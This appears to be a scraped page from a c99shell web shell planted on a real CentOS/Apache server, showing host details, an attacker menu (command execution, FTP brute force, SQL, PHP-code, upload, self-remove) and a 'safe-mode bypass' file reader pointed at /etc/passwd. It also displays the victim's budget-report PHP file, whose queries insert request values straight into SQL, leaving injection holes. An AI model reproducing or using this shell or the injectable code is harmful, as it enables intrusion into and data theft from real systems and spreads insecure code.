!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExcelStdSum.php (10.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing.xls"');
include(
"../include/FunctionDB.php");

 
ConnectDB();
$sql "SELECT * FROM  projectStdPlan_tb  WHERE   Budget_Year='$Budget_Year'   and  Faculty_code='$Faculty_code'   ";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result);
$row mysql_num_rows($result);
$strSQL "Select * FROM   projectStdPlan_tb   WHERE    Budget_Year='$Budget_Year'   and  Faculty_code='$Faculty_code' Order By    Orderlist   ASC ";
$result mysql_query($strSQL); 
$num mysql_num_rows($result );

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<style type="text/css">
<!--
.style1 {
    font-size: 14px;
    font-weight: bold;
}
.style2 {font-size: 14px}
.style3 {
    font-family: Tahoma;
    font-size: 14px;
}
.style23 {font-size: 14}
-->
</style>
<table width="1020" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="1020"><br />
          <fieldset>
            <legend><span class="style3"><a href="PlaningByYear.php" class="style2"></a></span></legend>
            <form id="form" name="form" method="get" action="SearchRepPlaning.php">
              <table width="100%" cellpadding="0" cellspacing="0" style="background-color:#eeeeee; border:0px solid gray">
                <tr bgcolor="#CCCCFF">
                  <td height="24" colspan="8" bgcolor="#eeeeee" ><div align="center"><span class="style2"><font color="#000000" face="Tahoma"><font face="Tahoma"><font color="#000000" face="Tahoma"><span class="style1"><font color="#000000" face="Tahoma"><font face="Tahoma"><strong> <font color="#000000" face="Tahoma"><font face="Tahoma"><strong><font color="#000000" face="Tahoma"><strong> </strong><font face="Tahoma"><font color="#000000" face="Tahoma"><font color="#000000" face="Tahoma"><font face="Tahoma"><strong><font color="#000000" face="Tahoma"><font face="Tahoma"><strong><font color="#000000" face="Tahoma"><strong>
                      <input name="Project_code" type="hidden" id="Project_code" value="<?=$Project_code ?>" />
                      </strong></font></strong></font></font></strong></font></font></font></font><strong>
                      <input name="Faculty_code" type="hidden" id="Faculty_code" value="<?=$Faculty_code ?>" />
                      </strong></font></strong></font></font>
                                          <input name="Budget_Year" type="hidden" id="Budget_Year" value="<?=$Budget_Year?>" />
                      </strong></font></font></span>รายละเอียดแผนดำเนินการประจำปีงบประมาณ </font></font></font></span><span class="style1"><font color="#000000" face="Tahoma"><font face="Tahoma"><strong><font color="#000000" face="Tahoma"><strong><span class="style2"><font color="#000066" face="Tahoma"><font color="#000000" face="Tahoma"><font face="Tahoma"><strong><font size="2" face="Tahoma"><font color="#003399"><? echo $Budget_Year?></font> </font></strong></font></font></font></span></strong></font></strong></font></font></span><span class="style2"><font color="#000000" face="Tahoma"><font face="Tahoma"><font color="#000000" face="Tahoma"><font color="#000066" face="Tahoma"><font color="#000000" face="Tahoma"><font face="Tahoma"><font face="Tahoma"><font color="#000000" face="Tahoma"><font face="Tahoma"><font color="#000000" face="Tahoma">หน่วยงาน</font></font></font></font></font></font></font></font></font></font></span> <span class="style2"><font color="#000000" size="2" face="Tahoma">
                      <?php
         
//$Faculty_code  = $row[Faculty_code];
         
$sql3 "Select * From  faculty_tb   Where  Faculty_code='$Faculty_code'";
         
$result3 mysql_query($sql3) or die("Error".mysql_error());
         
$rss mysql_fetch_array($result3);
          echo
"$rss[Faculty_name]";
         
?>
                  </font></span></div></td>
                </tr>
                <tr bgcolor="#E6E6E6">
                  <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><span class="style3">ข้อ</span></td>
                  <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray">&nbsp;</td>
                  <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><font color="#003366" face="Tahoma"><span class="style2">วัตถุประสงค</span>์</font></td>
                  <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><span class="style2"><font color="#000066" face="Tahoma">ตัวชี้วัดความสำเร็จ</font></span></td>
                  <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><span class="style2"><font color="#000066" face="Tahoma">วิธีการดำเนินงาน</font></span></td>
                  <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><span class="style2"><font color="#003366" face="Tahoma">กลุ่มเป้าหมาย</font></span></td>
                  <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><span class="style23"><span class="style2"><font color="#003366" face="Tahoma">ผลที่คาดว่าจะได้รับ</font></span></span></td>
                  <td align="center" bgcolor="#FFFFFF" style="border:0px solid gray">จำนวนเงิน</td>
                </tr>
                
                <?php
$i 
1;
 while(
$row mysql_fetch_array($result))
 {

     if(
$count==0)
     {
?>
                <tr bgcolor="#F7F7F7" >
                  <td width="20" align="center" bgcolor="#FFFFFF" ><div align="left">
                      <?=$row["Orderlist"]?>
                  </a></div></td>
                  <td width="245" align="left" bgcolor="#FFFFFF" ><div align="left"><font color="#0033CC" size="2" face="Tahoma"><? echo $row[Project_plan]?></font></a></div></td>
                  <td width="159" bordercolor="#EEEEEE" bgcolor="#FFFFFF" ><font color="#0033CC" size="2" face="Tahoma"><? echo $row[Orderlist_2]?></font></a></td>
                  <td width="124" bordercolor="#EEEEEE" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $row[Project_name]?></font></a></td>
                  <td width="152" bordercolor="#EEEEEE" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $row[Project_rep]?></font></a></td>
                  <td width="78" bordercolor="#EEEEEE" bgcolor="#FFFFFF"><?=$row["Period"]?>
                    </a></td>
                  <td width="185" bordercolor="#EEEEEE" bgcolor="#FFFFFF"><?=$row["Period_1"]?>
                    </a></td>
                  <td width="53" bordercolor="#EEEEEE" bgcolor="#FFFFFF"></a><font color="#993333" size="2" face="Tahoma">
                    <?php         
        $Project_code 
$row["Project_code"];
          
$sql1 "Select Sum(Budget_use) as SumB1 From project_type_tb  Where    Project_code='$Project_code'  and  Budget_Year='$Budget_Year'  and Faculty_code='$Faculty_code'    ";
          
$result1 mysql_query($sql1) or die("Erro".mysql_error());
          
$rss1 mysql_fetch_array($result1);
           echo 
number_format($rss1[SumB1],2,'.',',');
           
//echo"$rss1[SumC1]";
           
?>
                  </font></td>
                </tr>
                <?
    $count
=1;
     }
else
{
?>
                <tr bgcolor="#FFFFFF">
                  <td align="center" bordercolor="#FFFFFF" ><div align="left">
                      <?=$row["Orderlist"]?>
                  </a></div></td>
                  <td align="left" ><div align="left"><font color="#0033CC" size="2" face="Tahoma"><? echo $row[Project_plan]?></font></a></div></td>
                  <td bordercolor="#EEEEEE" ><font color="#0033CC" size="2" face="Tahoma"><? echo $row[Orderlist_2]?></font></a></td>
                  <td bordercolor="#EEEEEE" ><font color="#0033CC" size="2" face="Tahoma"><? echo $row[Project_name]?></font></a></td>
                  <td bordercolor="#EEEEEE" ><font color="#0033CC" size="2" face="Tahoma"><? echo $row[Project_rep]?></font></a></td>
                  <td bordercolor="#EEEEEE" ><?=$row["Period"]?>                    </a></td>
                  <td bordercolor="#EEEEEE" ><?=$row["Period_1"]?>
                    </a></td>
                  <td bordercolor="#EEEEEE" ></a><font color="#993333" size="2" face="Tahoma">
                    <?php         
        $Project_code 
$row["Project_code"];
          
$sql1 "Select Sum(Budget_use) as SumB1 From project_type_tb  Where    Project_code='$Project_code'  and  Budget_Year='$Budget_Year'  and Faculty_code='$Faculty_code'    ";
          
$result1 mysql_query($sql1) or die("Erro".mysql_error());
          
$rss1 mysql_fetch_array($result1);
           echo 
number_format($rss1[SumB1],2,'.',',');
           
//echo"$rss1[SumC1]";
           
?>
                  </font></td>
                </tr>
                <?
$count
=0;
}
$i++;
 }    
?>
                <tr bgcolor="#FFFFFF">
                  <td align="center" >&nbsp;</td>
                  <td align="center" bgcolor="#FFFFFF" >&nbsp;</td>
                  <td align="center" >&nbsp;</td>
                  <td align="center" >&nbsp;</td>
                  <td align="center" >&nbsp;</td>
                  <td align="center" >&nbsp;</td>
                  <td align="center" ><span class="style3">รวมจำนวนเงินตามฝ่าย</span></td>
                  <td align="center" ><div align="left"><strong><font color="#993333" size="2" face="Tahoma">
                    <?php         
        
          $sql1 
"Select Sum(Budget_use) as SumB1 From  project_type_tb   Where  Budget_Year='$Budget_Year'  and Faculty_code='$Faculty_code'    ";
          
$result1 mysql_query($sql1) or die("Erro".mysql_error());
          
$rss1 mysql_fetch_array($result1);
           echo 
number_format($rss1[SumB1],2,'.',',');
           
//echo"$rss1[SumC1]";
           
?>
                  </font></strong></div></td>
                </tr>
                <tr bgcolor="#CCCCFF">
                  <td colspan="8" align="center" bgcolor="#FFFFFF" ><span class="style2"><font color="#000000" face="Tahoma">ทั้งหมด</font></span><strong><font color="#003399" size="2" face="Tahoma"> <? echo $num ?> </font></strong><font color="#FFFFFF" face="Tahoma"><span class="style2"><font color="#003366">รายการ</font></span></font><font color="#FFFFFF" size="2" face="Tahoma"><font color="#FFFFFF">&nbsp;</font></font> </td>
                </tr>
              </table>
            </form>
        
          </fieldset>
      </td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0148 ]--